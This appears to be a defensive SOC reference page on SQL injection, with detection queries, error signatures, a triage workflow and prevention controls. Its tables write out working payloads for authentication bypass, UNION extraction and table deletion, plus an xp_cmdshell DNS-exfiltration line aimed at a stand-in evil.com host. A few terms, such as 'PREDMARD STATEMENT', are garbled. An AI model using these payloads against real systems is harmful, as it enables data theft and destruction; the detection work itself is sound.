Threats
T1190SQL Injection
How SQL injection still works in modern web applications, what detection patterns analysts look for in WAF logs and error responses, and how to investigate and respond to a confirmed SQLi attack.
View on Graph
What It Is and Why It Still Works
- SQL injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application’s input fields — login forms, search boxes, URL parameters, HTTP headers — and the application executes them against the database.
- It maps to MITRE ATT&CK
T1190(Exploit Public-Facing Application) and remains in the OWASP Top 3 web application risks. - The root cause is simple: the application treats user input as trusted code instead of data. Instead of binding parameters, it concatenates strings into a SQL query.
Common SQLi Patterns and Their SQL
Detection via URL Parameters
| Pattern | URL Example | SQL Generated |
|---|---|---|
| Single quote | ?id=1' | SELECT * FROM users WHERE id = 1' — syntax error if vulnerable |
| Always-true condition | ?id=1' OR '1'='1 | SELECT * FROM users WHERE id = 1' OR '1'='1 — returns all rows |
| Comment injection | ?id=1'-- | SELECT * FROM users WHERE id = 1'-- — comments out the rest of the query |
| UNION injection | ?id=1' UNION SELECT null,username,password FROM users-- | SELECT id, name, email FROM users WHERE id = 1' UNION SELECT null,username,password FROM users-- |
| Boolean-based | ?id=1' AND 1=1-- (true) vs ?id=1' AND 1=2-- (false) | Attacker compares page response to determine if injection works |
| Time-based | ?id=1' WAITFOR DELAY '0:0:5'-- | Response delayed by 5 seconds — confirms SQL execution |
| Out-of-band | ?id=1' EXEC xp_cmdshell('nslookup data.evil.com')-- | DNS query to attacker’s DNS server — exfiltrates data via DNS (a form of C2) |
Detection via POST Body
SQLi is not limited to URLs — any input field can be targeted:
| Field | Injection Example | Attack Goal |
|---|---|---|
| Login form (username) | admin' OR '1'='1 | Authentication bypass |
| Login form (password) | ' OR 1=1-- | Authentication bypass |
| Search box | ' UNION SELECT @@version-- | Database version enumeration |
| Comment field | '; DROP TABLE users; -- | Database destruction |
| JSON API body | {"id": "1' OR '1'='1"} | API-level injection |
| HTTP headers | X-Forwarded-For: ' OR '1'='1 | Header-based injection (rare but possible) |
Detection — SQLi in WAF and Database Logs
What SQLi Payloads Look Like in WAF Logs
| Indicator in WAF Log | Likely Injection Type | WAF Rule Category |
|---|---|---|
' OR '1'='1 | Boolean-based authentication bypass | SQLi — tautology |
' UNION SELECT | Data extraction (UNION injection) | SQLi — UNION |
WAITFOR DELAY or SLEEP() | Time-based blind SQLi | SQLi — time-based |
xp_cmdshell or EXEC xp_ | Command execution via SQL Server | SQLi — OS command execution |
INTO OUTFILE | File write through MySQL | SQLi — file write |
LOAD_FILE() | File read through MySQL | SQLi — file read — a potential insider threat vector |
@@version or VERSION() | Database fingerprinting | SQLi — fingerprinting |
'-- or # or /* | Comment injection (query truncation) | SQLi — comment |
How to Correlate SQLi Alerts in Your SIEM
SPL query — detect SQL injection attempts in WAF logs:
index=web sourcetype=waf_access
| search rule_type="SQL Injection"
| stats count, values(src_ip) as Sources, values(uri_path) as Endpoints, values(matched_data) as PayloadSamples by action, block_reason
| where count > 5
| eval severity = if(action="blocked", "MEDIUM — automated scanning blocked", "HIGH — SQLi payload reached application")
| table _time, Sources, Endpoints, PayloadSamples, severity
SPL query — detect SQL error messages that indicate successful exploitation:
index=app sourcetype=application_log
| search message IN ("*SQL syntax*error*", "*Unclosed quotation mark*", "*Incorrect syntax*", "*mysql_fetch_array*", "*ORA-00933*", "*Microsoft OLE DB*")
| stats count, values(src_ip) as Sources, values(uri) as Endpoints by host, message
| where count > 1
| eval alert = "HIGH — SQL error messages exposed. Possible successful injection."
| table _time, host, Sources, Endpoints, message, alert
SPL query — detect slower database responses (time-based SQLi):
index=web sourcetype=app_performance
| search response_time > 5000 (5 second response time)
| stats count, avg(response_time) as AvgResponseTime by src_ip, uri, request_method
| where count > 3 AND AvgResponseTime > 5000
| eval alert = "HIGH — slow responses to " . uri . " from " . src_ip . " — possible time-based SQLi"
| table _time, src_ip, uri, AvgResponseTime, count, alert
Database-Specific Error Signatures
| Database | Error String | When to See It |
|---|---|---|
| MySQL | You have an error in your SQL syntax | Parameter with a single quote, comment, or UNION that breaks the query |
| MSSQL | Unclosed quotation mark after the character string | String injection with mismatched quotes |
| Oracle | ORA-00933: SQL command not properly ended | UNION injection or missing semicolon |
| PostgreSQL | ERROR: syntax error at or near | Unbalanced quotes or special characters — common in cloud-hosted databases |
| SQLite | unrecognized token | Special characters in string context |
SQLi Triage — Investigation Workflow
Step 1: Identify the Entry Point
| Question | Where to Look |
|---|---|
| What endpoint was targeted? | WAF log — uri_path and request_parameters |
| What payload was sent? | WAF log — matched_data or full request body |
| Did the payload reach the application? | WAF log — action=allow or no WAF at all |
| What database errors were triggered? | Application log — error messages or stack traces |
| Did the payload succeed? | Database performance logs — unusual query patterns or timeouts |
Step 2: Assess Impact
| Finding | Implication | Action |
|---|---|---|
| WAF blocked the request | No exploitation — attacker was stopped | No user impact. Document and tune WAF if needed. |
| Payload reached app but no response data returned | Injection succeeded but no data extracted | Application is vulnerable. Patch required. Check if other payloads were sent. |
| Payload reached app and response shows data | Data was extracted | Assume data was stolen. Begin incident response. |
| Database error in logs | Injection reached the database | Application is vulnerable. Review for data extraction attempts. |
| Time-based payload succeeded (slow response) | Blind injection confirmed | Application is vulnerable. Check for other injection patterns from the same IP. |
Step 3: Check for Data Exfiltration
If SQLi was successful, the attacker may have exfiltrated data. Check:
- Unusually large HTTP responses from the vulnerable endpoint — UNION-based injection returns the query results in the response body
- Outbound connections from the database server —
xp_cmdshellorINTO OUTFILEmay create files or network connections - DNS queries from the database server to unusual domains — OOB SQLi exfiltrates data via DNS (e.g.,
data.hash.evil.com) — data can fuel credential stuffing attacks - Database audit logs for
SELECT * FROMqueries that span all tables — attacker enumerating the schema
Step 4: Determine Disposition
| Severity | Criteria | Action |
|---|---|---|
| Critical | Data exfiltrated — confirmed data theft | Begin IR. Identify which data was accessed. Notify affected users. |
| High | SQLi confirmed (data may have been extracted but extent unknown) | Isolate the vulnerable application. Pull logs. Patch the input parameter. |
| Medium | SQLi attempted but blocked by WAF, no successful response | Tune WAF if needed. Report to dev team for parameterized query fix. |
| Low | SQL error messages exposed but not exploitable | Request to fix error handling — do not expose SQL errors to users. |
Prevention
| Control | What It Prevents | Implementation |
|---|---|---|
| Parameterized queries (prepared statements) | All SQLi — the gold standard | Use PREDMARD STATEMENT (SQL), ORM with bound parameters. Never concatenate user input. |
| Stored procedures | Most SQLi (with proper parameterization) | Define and call stored procedures with typed parameters. |
| Input validation | Reduces attack surface | Whitelist allowed characters per field. Numbers → only digits. Email → email format. |
| WAF rules | Blocks common SQLi patterns at ingress | ModSecurity CRS, AWS WAF SQLi rule group, Cloudflare WAF |
| Least-privilege database accounts | Limits blast radius — attacker gets read-only credentials even with successful injection | Application DB account only needs SELECT/INSERT for its specific tables. No DROP/CREATE/EXEC privileges. |
| Web Application Firewall | Blocks SQLi before it reaches the application | Deploy WAF in front of the application. Tune to reduce false positives for legitimate queries containing SQL keywords. |
| Database activity monitoring | Detects anomalous queries (full table scans, DDL changes) | DAM tools monitor SQL statements and alert on out-of-pattern queries. |
Related
- Web Application Attacks — SSRF, CSRF, Command Injection, Path Traversal, IDOR — detection and response for T1190 techniques
- API Attacks — OWASP API Top 10 — detection and response for T1190 techniques
- Kill Chain — covers the kill chain concepts
- OSI Model — covers the osi model concepts
- Metasploit — detection and response for T1203 techniques
